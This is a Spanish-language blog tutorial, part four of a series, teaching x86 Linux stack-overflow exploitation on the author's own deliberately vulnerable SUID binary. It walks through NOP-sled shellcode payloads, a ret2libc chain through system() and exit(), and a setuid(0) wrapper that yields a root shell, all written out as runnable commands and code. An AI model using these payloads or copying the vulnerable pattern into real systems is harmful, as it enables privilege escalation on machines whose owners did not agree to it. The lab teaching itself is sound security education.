Nuevas Entradas

Desbordando El Buffer en Linux X86 (IV)


by hdbreaker

En el anterior tutorial se logro ejecutar código arbitrario saltando la protección ASLR por medio de llamadas a funciones definidas, pero en nuestro ejemplo
nos veíamos obligados a desactivar el flag NX (Non-Exec).

Non-Exec es una protección de memoria que indica cuales sectores de la misma son aptos para la ejecución de código y cuales secciones son solo para almacenamiento de datos.

En esta cuarta parte de nuestros talleres para aprender a explotar el buffer en sistemas Linux x86 trataremos de forma práctica cómo bypassear la protección NX (Non-Exec) por medio de ret2libc.

Esta entrega es algo larga y esto puede volverla un poco tediosa, se recomienda tener conocimientos previos en el tema, o como mínimo haber leído y resuelto las entregas anteriores. He intentado explicar la técnica de la forma más clara posible, les recomiendo releer todas la veces que sea necesario.

Para comprender el funcionamiento de memoria junto a la protección NX, nos basaremos en la siguiente imagen:




Supongamos que logramos overflodear nuestro Espacio de Variables, logrando escribir sobre ESP y posteriormente controlar el flujo logrando modificar EIP.

Todo indicaría que podríamos apuntar EIP hacia nuestro Shellcode dentro de ESP y de esta forma lograr ejecutar código arbitrariamente.

Como vimos en entradas anteriores, esto funcionaría si la sección de ESP no estuviera protegida por el flag Non-Exec (NX).

En este ejemplo nuestro código va a ser compilado con la protección NX, por lo que aun que logremos escribir bytes dentro de ESP al momento de dirigir EIP hacia la sección de ESP donde se encuentre nuestro Shellcode, la misma al estar marcada como No Ejecutable va a pasar por alto la ejecución de los bytes.

Código:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {

    char buffer[100];

    strcpy(buffer, argv[1]);

    printf("%s\n",buffer);

    return 0;
}


Para centrarnos sólo en superar la protección NX desactivaremos ASLR:

echo 0 > /proc/sys/kernel/randomize_va_space

Y luego compilaremos de la siguiente forma:

gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb pwn.c -o pwn

luego asignamos permisos de root al binario y ponemos activo el bit SUID

chown root pwn
chgrp root pwn
chmod +s pwn

El flag -m32 indica que se debe compilar para la arquitectura x86 (ya que mi pc es x64 debo incluir este flag)

Si analizamos la forma de compilar vemos que se ha eliminado el flag -z execstack este flag es el encargado de eliminar la protección NX, al no colocarlo como parámetro de gcc el binario se compilará utilizando esta protección.

En este momento dividiremos la entrada en 2 partes, realizaremos una explotación tradicional del binario con el fin de demostrar el funcionamiento de NX y posteriormente saltaremos esta protección por medio de ret2libc.

Explotación Tradicional:

Iniciamos gdb e intentamos desbordar el buffer utilizando pyhton:


Observamos que a partir del caracter número 105 comenzamos a sobrescribir EIP:


En este punto sabemos que poseemos un espacio de 104 bytes para agregar nuestro Shellcode, para asegurarnos el correcto flujo de ejecución agregaremos algunos NOPS (\x90) antes de nuestro shellcode con el fin de completar el espacio necesario para que nuestro byte 105 sobre escriba EIP (Esto se denomina NOPSLEED).

Para nuestro ejemplo utilizaremos el siguiente Shellcode de 24 Bytes y preparado para brindarnos una shell en arquitectura x86:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80

Sabiendo que debemos completar 104 bytes para quedar en el pie de EIP, y que nuestra shellcode es de 24 bytes, nuestro nopsleed debe calcularse como: 104 - 24 = 80 bytes

Dando como resultado:

python -c "print '\x90'*80+'Shellcode'+'EIPOverflow'"

Ahora nos falta obtener la dirección de memoria de nuestro payload, para esto utilizamos gdb para correr el binario enviando como parámetro nuestro payload:


Como podemos observar hemos sobre escrito EIP de forma correcta, ahora inspeccionaremos ESP hasta encontrar alguna sección de nuestro NOPSLEED:




 Podemos observar que en la dirección de memoria: 0xffffd17c  aparecen parte de nuestros NOPs.

Al final de nuestro payload colocaremos esta dirección de memoria respetando Little Endian:

python -c "print '\x90'*80+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80'+'\x7c\xd1\xff\xff'"

Si enviamos nuestro payload nuevamente:



QUE HA SUCEDIDO? POR QUE NO TENEMOS NUESTRA SHELL?

Si compilamos el mismo programa desactivando la protección NX y enviamos el mismo payload, observamos que obtenemos nuestro preciado shell:

gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb -z execstack pwn.c -o pwn2


Esto se debe a que la protección NX está haciendo de las suyas y nos impide ejecutar código arbitrario alojado en el espacio de memoria ESP.

Retomando el hilo principal de la entrada: Como saltamos la protección NX?

Para lograr sortear esta protección, nos valdremos de funciones residentes en libc que estén por defecto marcadas como espacios de memoria ejecutable.

Un ejemplo es la función system() de libc, la cual recibe como parámetro un string que posteriormente ejecuta:

Siguiendo esta perspectiva nosotros trataremos de realizar desde nuestro payload una llamada a system() enviando como argumento /bin/bash ( "system(/bin/bash)" ).

Muy bien, en este punto debo haber captado su atención.

Otro punto a tener en cuenta es que al finalizar la llamada a la función system() nosotros debemos indicar hacia dónde debemos retornar, siendo ésta la dirección próxima funcional de nuestro binario, ya que de otra forma al finalizar system(), EIP no sabría hacia dónde continuar y el programa crashearía dejando logs en el sistema explotado.

Como obtener una dirección de memoria próxima funcional suele ser bastante complejo teniendo en cuenta que el programa puede fallar en cualquier momento por la sobre escritura de variables, le dejaremos este trabajo a otra función de libc: exit()

La función exit() realiza una salida limpia de la ejecución e inmediatamente realiza un RET hacia la ultima dirección de memoria válida con el fin de continuar el flujo de ejecución de un programa.

Para dejarlo claro:

Si el Programa A internamente llama a la ejecución del Programa B, al finalizar B (exit), retornará a la próxima linea funcional de A, para que A pueda por ej, utilizar el output de B para algún proceso propio.

Teniendo en cuenta esto nuestro nuevo payload quedaría de esta forma:


python -c "print 'nopsleed'+'system()'+'exit()'+'/bin/bash'"

Por extraño que parezca, primero debemos indicar system(), luego la función de retorno, y al final el parámetro que ejecutará system().

Obviamente libc al ser una librería del sistema se incluye por defecto al ejecutar un binario, y sus funciones pasan a ser punteros de memoria hacia dichas funciones.

Dicho de otra forma system(), exit() y /bin/bash son direcciones de memoria que incluiremos en nuestro payload, dicho esto la pregunta lógica es:

Como obtengo las direcciones de system() y exit()?

Para esto nos ayudaremos de nuestro querido amigo gdb. Dado que las funciones de libc son importadas al momento de ejecución, lo primero que haremos es colocar un breakpoint en el cuerpo principal del binario:


Luego de esto procedemos a ejecutar:


En este punto somos capaces de obtener la dirección de memoria de system() y de exit() colocando breakpoints o printeando los nombres de dichas funciones:


Con esto podemos concluir que las direcciones de memoria correspondientes son:

system(): 0xf7e3e190
exit():      0xf7e311e0

Ahora sólo nos falta el parámetro que debe ejecutar system(), éste es el paso más importante y por el cual mucha gente no termina de entender el funcionamiento de ret2libc.

Siendo "/bin/bash" un string, nosotros debemos obtener el mismo desde algún lugar de memoria, sea este string parte del código del programa (cosa poco probable) o desde un puntero a una variable de entorno.

Yo soy partidario de utilizar una variable customizada con el fin de inyectarla en tiempo de ejecución en el binario y poder utilizarla desde allí, a este procedimiento se le conoce como EGGSTERING o EGG HUNTING, por los famosos easter egg de distintos programas que utilizaban variables de entorno para validar y ejecutar mensajes ocultos o niveles superiores de administración.

Procederemos a crear nuestra variable de entorno:


Una vez creada nuestra variable de entorno, procederemos a obtener su dirección de memoria desde gdb:


En este momento somos capaces de buscar en las variables de entorno inyectadas al binario en tiempo de ejecución.

Las variables de entorno se encuentran finalizando la sección de ESP:


Utilizamos "s" ya que las variables de entorno son del tipo string, y esto nos permite visualizar de forma correcta los strings dentro de un binario.
Continuamos hasta llegar a la zona:


Como podemos observar nuestra variable EGG se encuentra en: 0xffffd417

Y he aquí el error de la mayoría! Muchos utilizan esta dirección de memoria sin comprender que le estaremos pasando como parámetro a system(): EGG=/bin/bash

Mejor dicho: system(EGG=/bin/bash)

El comando EGG=/bin/bash, no existe, por lo que debemos enviar como parámetro de system() la porción de la variable de entorno que comience con / (0x2f en hexa)

Para obtener la dirección exacta de este caracter utilizamos gdb inspeccionando byte a byte la cadena alojada en: 0xffffd417 hasta llegar al primer 0x2f


En este paso obtenemos la dirección real de /bin/bash: 0xffffd41b

Ahora estamos listos para generar un payload ret2libc válido para gdb:

Ya que estamos trabajando con varias direcciones de memoria y esto hace factible que nos equivoquemos al convertir al Little Endian, dejaremos que python se ocupe de esto, haciendo uso de la librería struct, quedando nuestro payload:

python -c "import struct; print '\x90'*104+struct.pack('<I', 0xf7e3e190)+struct.pack('<I', 0xf7e311e0)+struct.pack('<I', 0xffffd41b)

El resultado:



Obtenemos de forma correcta nuestra shell saltando la protección NX.

Pero... por qué nuestra shell no corre con permisos de root?

Esto ocurre ya que la función system() dropea los privilegios de SUID, system ejecuta un comando como si nosotros lo hicieramos por medio de la terminal /bin/bash, y al detectar la creación de un proceso hijo, dropea los permisos como una medida de seguridad.

Para lograr bypassear esta protección existen 2 tecnicas:

1) Crear un binario intermediario que nos devuelva los permisos de root y lance por medio de una función sin protecciones nuestra shell.

2) No utilizar system() y utilizar una función sin protecciones para lanzar nuestra shell.

En ambos casos utilizaremos la función execve(), la diferencia radica en que si seguimos por el camino número 2, deberemos escapear de forma correcta todos los argumentos requeridos por execve desde ASM y esto se vuelve algo tedioso si nos encontramos con badchars.

En el primer caso (del cual trata esta entrada), escribiremos un pequeño programa que canalizará la ejecución de execv() por medio de C trabajando de esta manera a más alto nivel y por consecuencia de una forma más legible.

Lo primero que debemos hacer es obtener nuevamente nuestros permisos de root, esto lo logramos con:

setuid(0) y setgid(0)

quedando nuestro código de la siguiente forma:

//wrapper.c
#include <stdio.h>
#include <string.h>

int main ()
{

   setuid(0);
   setgid(0);
   execve("/bin/sh", NULL, NULL);

   return(0);
}

Compilamos y obtenemos nuestro binario con gcc wrapper.c -o wrapper y al ejecutarlo observamos cómo esto nos devuelve una shell sin privilegios.



Dónde esta el secreto de todo esto? Cómo obtendremos permisos de root?


Desde nuestro binario vulnerable, el cual tiene el bit SUID activo, llamaremos por medio de system() a nuestro wrapper, system() dropeará nuestros privilegios, pero al ejecutar wrapper con el bit SUID, éste momentáneamente tendrá permisos para ejecutar setuid(0) y setgrp(0) volviendo a elevar sus privilegios y lanzando con execv() nuestra shell, pero ahora con permisos de root!

Para lograr esto, seguiremos el proceso de explotación de ret2libc, pero en nuestra variable de entorno realizaremos un llamado a nuestro binario intermedio: wrapper

$ export EGG='./wrapper'

Seguido a esto, buscaremos realizar la explotación por fuera de gdb, dado que gdb encapsula la ejecución y es poco probable que logremos obtener una shell root.

Dado que ASLR esta desactivado, las direcciones de memoria de system() y de exit() se mantendrán, pero la dirección de nuestra variable de entorno cambiará, para obtenerla nos ayudaremos de la función getenv() de C.

Código:

//getenv.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {

if(argc < 2) {
printf("Usage: %s <environ_var>\n", argv[0]);
exit(-1);
}

char *addr_ptr;

addr_ptr = getenv(argv[1]);

if(addr_ptr == NULL) {
printf("Environmental variable %s does not exist!\n", argv[1]);
exit(-1);
}

printf("%s is stored at address %p\n", argv[1], addr_ptr);
return(0);
}

Compilamos el código (gcc getenv.c -o getenv) y ejecutamos getenv pasando como parámetro el nombre de nuestra variable de entorno:



La variable de entorno se encuentra alojada en el espacio de memoria: 0x7fffffffe43f
Ésta dirección se debe a que mi arquitectura de procesador es x64, pero sabiendo que x86 se rige por los últimos 4 bytes podemos deducir que cerca de la dirección: 0xffffe43f se encontrará nuestro llamado a wrapper.

Jugamos un poco con la dirección en nuestro payload moviéndonos algunos bites hasta obtener salidas que nos indiquen si estamos cerca:

Dirección original: Nada!


Primer desplazamiento: 0xffffe43f -> 0xffffd43f



Respuesta: command not found!

En este punto debemos estar cerca de la zona de strings, comenzamos a desplazarnos byte por byte hasta llegar a la dirección de memoria correcta:


BUM! nuestra shell root spawneada!

Espero que esta entrada les haya sido de utilidad a todos aquellos aventureros al mundo del exploiting, próximamente trataremos bypass de stack canaries.
Estoy abierto a críticas y sugerencias, gracias por su tiempo!


Saludos!

Share this:

 
Copyright © 2014 Security Signal.
Designed by OddThemes | Distributed By Gooyaabi Templates